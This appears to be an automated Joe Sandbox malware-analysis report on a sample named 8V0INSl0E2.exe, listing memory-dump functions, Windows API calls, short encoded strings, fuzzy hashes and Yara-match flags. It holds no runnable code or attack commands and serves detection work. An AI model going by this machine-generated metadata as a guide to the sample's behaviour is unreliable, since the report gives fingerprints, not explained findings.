Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\8V0INSl0E2.exe
API String ID: 0-561037814
Opcode ID: 071b538174e6ec2062faa24906a4cfa7e50636e93d54360a723864c0abc3d007
Instruction ID: ef1b21c86d4c641325268a2e562e5aacaa8476dc5588200f607cc18d3bf73bc2
Opcode Fuzzy Hash: 071b538174e6ec2062faa24906a4cfa7e50636e93d54360a723864c0abc3d007
Instruction Fuzzy Hash: A8416471E00214ABCB219B999C85AEFBBF8EFD4350B1440ABF50497251D7B99EC1CB98

Function 04B5AE47 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 04B5AE86
__IsNonwritableInCurrentImage.LIBCMT ref: 04B5AF3A

Strings

csm, xrefs: 04B5AF24

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction ID: 70e8698bee852924f5bb584f04452ba236da7fcfa1c8d49e128eb9e6af04e50f
Opcode Fuzzy Hash: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction Fuzzy Hash: F941A270A002189BCF10DF68C884BAEFFB5EF49318F148695EC19AB261D735BA15CB91

Function 100044D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 100044FB

Strings

MOC, xrefs: 1000450D
RCC, xrefs: 10004515

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction ID: 0fa13f4c886c2deeb8e1184eea68dc96f9460117e0f406c7378fe553058e7938
Opcode Fuzzy Hash: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction Fuzzy Hash: 7B419DB5900109AFEF06CF94CC81AEE7BB5FF48384F168059F9046B25AD736EA50CB55

Function 04B5B6EC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04B5B711

Strings

RCC, xrefs: 04B5B72B
MOC, xrefs: 04B5B723

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction ID: 2212925fe134cc2111ecafa736f2afae502ae44490f92b2f165d5a2064985c51
Opcode Fuzzy Hash: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction Fuzzy Hash: 28413572900209AFDF16DF98C881AEEBBB5FF48304F188199FD15AB261D335B950DB64

Function 0040B485 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0040B4AA

Strings

MOC, xrefs: 0040B4BC
RCC, xrefs: 0040B4C4

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction ID: 67f376c023d9800a5206fdaf198d645220277734bcfb559d46511f35e7f4eabb
Opcode Fuzzy Hash: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction Fuzzy Hash: 95415871900209AFDF15DF94CD81AAEBBB5EF48308F1480AAFA1576291D3399A50DB98

Function 04B51597 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 04B593D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B593E2
Part of subcall function 04B593D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B5941F

__Init_thread_footer.LIBCMT ref: 04B51622

Part of subcall function 04B5938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B59397
Part of subcall function 04B5938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B593CA

Strings

NE]D, xrefs: 04B515B7
FEKN, xrefs: 04B515F1

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: FEKN$NE]D
API String ID: 4132704954-517842756
Opcode ID: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction ID: 3c1b778216039be24e69e93469c3dc91a6664500329f4febd1c30c6ecfce7c70
Opcode Fuzzy Hash: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction Fuzzy Hash: DF215C70B00245CBE720DF28E8457A5B7A0EF95304F9442A5DC151B271E7B53586C7CD

Function 00401330 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 004013BB

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

NE]D, xrefs: 00401350
FEKN, xrefs: 0040138A

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: FEKN$NE]D
API String ID: 2296764815-517842756
Opcode ID: 37e1153e5d0601956be4df5595081ba34075aac515f72f9cd57d9b237f69f675
Instruction ID: bb411daeb84ba6cc8782813aab56c5dc80a7b29e6052d91cba9c4b608feb04e2
Opcode Fuzzy Hash: 37e1153e5d0601956be4df5595081ba34075aac515f72f9cd57d9b237f69f675
Instruction Fuzzy Hash: 51215C30B00245CBD720CF29E846BA977B0FB95304F94427AD8542B7A3DBB92586C7DD

Function 04D00730 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D007BB

Strings

FEKN, xrefs: 04D0078A
NE]D, xrefs: 04D00750

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: Init_thread_footer
String ID: FEKN$NE]D
API String ID: 1385522511-517842756
Opcode ID: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction ID: eeb1f5cec2549553920e85b7a9247d1e6a03911fec61ecc508c211246d055250
Opcode Fuzzy Hash: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction Fuzzy Hash: 4E214B30B00645DBE730DF28F845BA877A0FB85304F948268D8141B291DBB57685CBD9

Function 04B57F27 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B593D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B593E2
Part of subcall function 04B593D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B5941F

__Init_thread_footer.LIBCMT ref: 04B57F95

Part of subcall function 04B5938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B59397
Part of subcall function 04B5938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B593CA

Strings

CD^O, xrefs: 04B57F47
_DC[, xrefs: 04B57F3E

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction ID: 73845b54778f2b056d5136dc63a789871d4a557b4a36b63bea2f8ee065012b97
Opcode Fuzzy Hash: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction Fuzzy Hash: 07012670B00304DBC720EF69BD00AA9B3A4EB48304F9801B9D92947260DB74A4458FC9

Function 04B57967 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B593D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B593E2
Part of subcall function 04B593D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B5941F

__Init_thread_footer.LIBCMT ref: 04B579D5

Part of subcall function 04B5938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B59397
Part of subcall function 04B5938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B593CA

Strings

CD^O, xrefs: 04B57987
_DC[, xrefs: 04B5797E

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction ID: e1bb5d90f00d17a6e7e6a5c64c2046bb9bd3a1fb38832ff7038006b13d2d2031
Opcode Fuzzy Hash: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction Fuzzy Hash: BD0149B0B00208DBDB20FF68BD40B5DB3B0EB08314F8082EAD919472A0DB747445CBC9

Function 00407CC0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 00407D2E

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

CD^O, xrefs: 00407CE0
_DC[, xrefs: 00407CD7

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 53c53f0d35d6ef20f9dfb6d629afc077c30de4eaa3ac919fd52d2abd114ead8e
Instruction ID: 8bf2ad3165393ed28199ca71651b1e02a490a28405ec2f0c6d2e7b73ba48d91c
Opcode Fuzzy Hash: 53c53f0d35d6ef20f9dfb6d629afc077c30de4eaa3ac919fd52d2abd114ead8e
Instruction Fuzzy Hash: 1C012630F002059BC720EF6AAD0196973B4FB59300B84017AE5146B282E77899428BDE

Function 00407700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 0040776E

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

_DC[, xrefs: 00407717
CD^O, xrefs: 00407720

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 6984f13f36b3e6cee961cec358f898ccc9f9a1464559edccbb98c4c3ae659da9
Instruction ID: 44c7e97e152ec1ca5567fde67ff81d8d8e81e117548a1af78ec12ab7f1e6b2a3
Opcode Fuzzy Hash: 6984f13f36b3e6cee961cec358f898ccc9f9a1464559edccbb98c4c3ae659da9
Instruction Fuzzy Hash: 64012670F002089BC720FF69AD41A5973B0E708350F80827EE5196B292EB786941CBCA

Function 04D070C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D0712E

Strings

_DC[, xrefs: 04D070D7
CD^O, xrefs: 04D070E0

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction ID: 87462baebe883bc4e82ade37a6a1995d5a11c17ae61d0f2918f05a8faf5b65cf
Opcode Fuzzy Hash: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction Fuzzy Hash: 7301D631F00605DBC720FF69BD40A69B3B4F755304F988179E5145B2C0EB74A9459BDA

Function 04D06B00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D06B6E

Strings

_DC[, xrefs: 04D06B17
CD^O, xrefs: 04D06B20

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction ID: 4a199b459e3e2825e1bd385b986a8a9a79fd366959a413756b526a92eaea05fe
Opcode Fuzzy Hash: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction Fuzzy Hash: 1301D1B1F00608DBC720FFA8BD40B69B7B4F709314F90C2A9E51957290EB74A9459B9A

Function 04B57427 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B593D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B593E2
Part of subcall function 04B593D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B5941F

__Init_thread_footer.LIBCMT ref: 04B57490

Part of subcall function 04B5938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B59397
Part of subcall function 04B5938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B593CA

Strings

DCDO, xrefs: 04B5743D
^]E*, xrefs: 04B57444

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$^]E*
API String ID: 4132704954-2708296792
Opcode ID: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction ID: 437906388b61fe943357bd326f5e1a2ede15cdd2461330538d957623801f8a7b
Opcode Fuzzy Hash: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction Fuzzy Hash: 6C0162B0B00208DBD720EF68E95265CFBB4EB04704F9441BADD19573A0DB3579158FD9

Function 04B57317 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B593D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B593E2
Part of subcall function 04B593D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B5941F

__Init_thread_footer.LIBCMT ref: 04B57380

Part of subcall function 04B5938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B59397
Part of subcall function 04B5938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B593CA

Strings

DCDO, xrefs: 04B5732D
EDO*, xrefs: 04B57334

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$EDO*
API String ID: 4132704954-3480089779
Opcode ID: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction ID: 87e41e0b2f9597b44a57a598c6086e4c7b239a4d94fb22646f4d4381699c326c
Opcode Fuzzy Hash: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction Fuzzy Hash: B3014FB0B01208DBDB10DF54E98169CB7A0EB05714F9041B9DE16573A0DB3479858B89

Function 004070B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 00407119

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

EDO*, xrefs: 004070CD
DCDO, xrefs: 004070C6

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$EDO*
API String ID: 2296764815-3480089779
Opcode ID: 057ee43e4521391655df31a4c43a3f0a7f6c0038db3df444a4ed800121ff4de1
Instruction ID: 6e88f7cd3849569d85f07cd18ee47690fbb1a730dcdea08f10a2250dba35ba50
Opcode Fuzzy Hash: 057ee43e4521391655df31a4c43a3f0a7f6c0038db3df444a4ed800121ff4de1
Instruction Fuzzy Hash: 1F0186B0F01208AFC710DF55E98255DB7B0E705304F90457ADA15AB3D1DB386D95CB8D

Function 004071C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 00407229

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

DCDO, xrefs: 004071D6
^]E*, xrefs: 004071DD

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$^]E*
API String ID: 2296764815-2708296792
Opcode ID: da9be0c5e5273d7ee2d012b34ad58f6f2e7d462380927887947c71f03af37cc5
Instruction ID: 8efc7060af64cb8acb1af25de2c4b339d239c6825e953d18f5e204f1a235d67b
Opcode Fuzzy Hash: da9be0c5e5273d7ee2d012b34ad58f6f2e7d462380927887947c71f03af37cc5
Instruction Fuzzy Hash: 8F016D70F002089BC720EF68E94295DB7B0EB08304F9441BEE919A7396DB3969158BCE

Function 04D064B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D06519

Strings

DCDO, xrefs: 04D064C6
EDO*, xrefs: 04D064CD

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$EDO*
API String ID: 1385522511-3480089779
Opcode ID: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction ID: 5436fa2942819c148a1ad928f8eb481a4615287eccf74388cdf14aeca9b14160
Opcode Fuzzy Hash: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction Fuzzy Hash: EE01D6B0F01608DFC720EFA4E88565CB7B0E705304F908579DA0557390DB34B9818B99

Function 04D065C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D06629

Strings

^]E*, xrefs: 04D065DD
DCDO, xrefs: 04D065D6

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$^]E*
API String ID: 1385522511-2708296792
Opcode ID: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction ID: 61beb21e281c2313f5cf4664c039b3e45e60a1e1d6ebb2684f968f147f531c84
Opcode Fuzzy Hash: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction Fuzzy Hash: 61016D70F00208ABC720EF68E94666CBBB0FB04704F9481BAD91997394DF35B9259B99